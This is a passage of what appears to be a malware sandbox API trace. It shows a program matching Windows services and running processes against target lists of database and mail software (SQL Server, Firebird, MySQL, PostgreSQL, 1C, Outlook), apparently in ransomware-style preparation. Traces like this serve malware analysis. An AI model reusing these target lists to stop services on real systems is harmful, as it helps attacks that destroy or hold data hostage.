(lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0199.027] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0199.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0199.027] lstrlenW (lpString="BFE") returned 3 [0199.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0199.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0199.027] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0199.027] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0199.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0199.027] lstrlenW (lpString="CryptSvc") returned 8 [0199.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0199.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0199.027] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0199.027] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0199.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0199.027] lstrlenW (lpString="CscService") returned 10 [0199.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0199.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0199.027] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0199.027] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0199.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0199.028] lstrlenW (lpString="DcomLaunch") returned 10 [0199.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.028] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0199.028] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0199.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0199.028] lstrlenW (lpString="Dhcp") returned 4 [0199.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0199.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0199.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0199.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0199.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0199.028] lstrlenW (lpString="Dnscache") returned 8 [0199.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0199.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0199.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0199.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0199.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0199.028] lstrlenW (lpString="DPS") returned 3 [0199.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0199.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0199.028] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0199.028] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0199.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0199.028] lstrlenW (lpString="eventlog") returned 8 [0199.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0199.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0199.028] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0199.028] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0199.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0199.028] lstrlenW (lpString="EventSystem") returned 11 [0199.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0199.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0199.029] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0199.029] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0199.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0199.029] lstrlenW (lpString="gpsvc") returned 5 [0199.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0199.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0199.029] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0199.029] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0199.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0199.029] lstrlenW (lpString="iphlpsvc") returned 8 [0199.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0199.029] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0199.029] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0199.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0199.029] lstrlenW (lpString="LanmanServer") returned 12 [0199.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0199.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0199.029] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0199.029] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0199.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0199.029] lstrlenW (lpString="LanmanWorkstation") returned 17 [0199.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0199.029] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0199.029] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0199.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0199.029] lstrlenW (lpString="lmhosts") returned 7 [0199.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0199.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0199.030] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0199.030] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0199.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0199.030] lstrlenW (lpString="MMCSS") returned 5 [0199.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0199.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0199.030] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0199.030] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0199.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0199.030] lstrlenW (lpString="MpsSvc") returned 6 [0199.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0199.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0199.030] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0199.030] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0199.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0199.030] lstrlenW (lpString="Netman") returned 6 [0199.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0199.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0199.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0199.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0199.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0199.030] lstrlenW (lpString="netprofm") returned 8 [0199.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0199.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0199.030] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0199.030] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0199.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0199.030] lstrlenW (lpString="NlaSvc") returned 6 [0199.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0199.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0199.031] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0199.031] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0199.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0199.031] lstrlenW (lpString="nsi") returned 3 [0199.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0199.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0199.031] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0199.031] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0199.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0199.031] lstrlenW (lpString="PcaSvc") returned 6 [0199.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0199.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0199.031] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0199.031] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0199.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0199.031] lstrlenW (lpString="PlugPlay") returned 8 [0199.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0199.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0199.031] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0199.031] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0199.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0199.031] lstrlenW (lpString="Power") returned 5 [0199.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0199.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0199.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0199.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0199.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0199.031] lstrlenW (lpString="ProfSvc") returned 7 [0199.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0199.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0199.032] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0199.032] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0199.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0199.032] lstrlenW (lpString="RpcEptMapper") returned 12 [0199.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.032] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0199.032] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0199.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0199.032] lstrlenW (lpString="RpcSs") returned 5 [0199.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0199.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0199.032] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0199.032] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0199.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0199.032] lstrlenW (lpString="SamSs") returned 5 [0199.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0199.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0199.032] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0199.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0199.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0199.032] lstrlenW (lpString="Schedule") returned 8 [0199.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0199.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0199.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0199.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0199.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0199.032] lstrlenW (lpString="SENS") returned 4 [0199.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0199.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0199.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0199.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0199.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0199.033] lstrlenW (lpString="ShellHWDetection") returned 16 [0199.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.033] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0199.033] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0199.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0199.033] lstrlenW (lpString="Spooler") returned 7 [0199.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0199.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0199.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0199.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0199.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0199.033] lstrlenW (lpString="swprv") returned 5 [0199.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0199.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0199.033] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0199.033] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0199.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0199.033] lstrlenW (lpString="SysMain") returned 7 [0199.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0199.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0199.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0199.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0199.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0199.033] lstrlenW (lpString="Themes") returned 6 [0199.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0199.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0199.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0199.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0199.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0199.034] lstrlenW (lpString="TrkWks") returned 6 [0199.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0199.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0199.034] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0199.034] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0199.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0199.034] lstrlenW (lpString="UxSms") returned 5 [0199.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0199.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0199.034] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0199.034] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0199.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0199.034] lstrlenW (lpString="VSS") returned 3 [0199.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0199.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0199.034] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0199.034] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0199.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0199.034] lstrlenW (lpString="WdiServiceHost") returned 14 [0199.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0199.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0199.034] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0199.034] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0199.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0199.035] lstrlenW (lpString="WdiSystemHost") returned 13 [0199.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0199.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0199.035] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0199.035] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0199.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0199.035] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0199.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0199.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0199.035] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0199.035] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0199.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0199.035] lstrlenW (lpString="Winmgmt") returned 7 [0199.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0199.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0199.035] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0199.035] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0199.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0199.035] lstrlenW (lpString="WPDBusEnum") returned 10 [0199.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0199.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0199.035] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0199.035] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0199.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0199.035] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0199.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0199.037] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.038] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0199.038] lstrlenW (lpString="System") returned 6 [0199.038] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0199.038] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0199.038] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0199.038] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0199.038] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0199.038] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0199.038] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0199.038] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0199.038] lstrlenW (lpString="smss.exe") returned 8 [0199.039] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0199.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0199.039] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0199.039] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0199.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0199.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0199.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0199.039] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.039] lstrlenW (lpString="csrss.exe") returned 9 [0199.039] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0199.039] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0199.039] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0199.039] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0199.039] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0199.039] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0199.039] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0199.039] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0199.040] lstrlenW (lpString="wininit.exe") returned 11 [0199.040] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0199.040] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0199.040] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0199.040] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.040] lstrlenW (lpString="csrss.exe") returned 9 [0199.041] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0199.041] lstrlenW (lpString="winlogon.exe") returned 12 [0199.041] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0199.041] lstrlenW (lpString="services.exe") returned 12 [0199.041] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0199.042] lstrlenW (lpString="lsass.exe") returned 9 [0199.042] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0199.042] lstrlenW (lpString="lsm.exe") returned 7 [0199.042] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.042] lstrlenW (lpString="svchost.exe") returned 11 [0199.042] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.043] lstrlenW (lpString="svchost.exe") returned 11 [0199.043] Process32NextW (in: hSnapshot=0x1d0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, 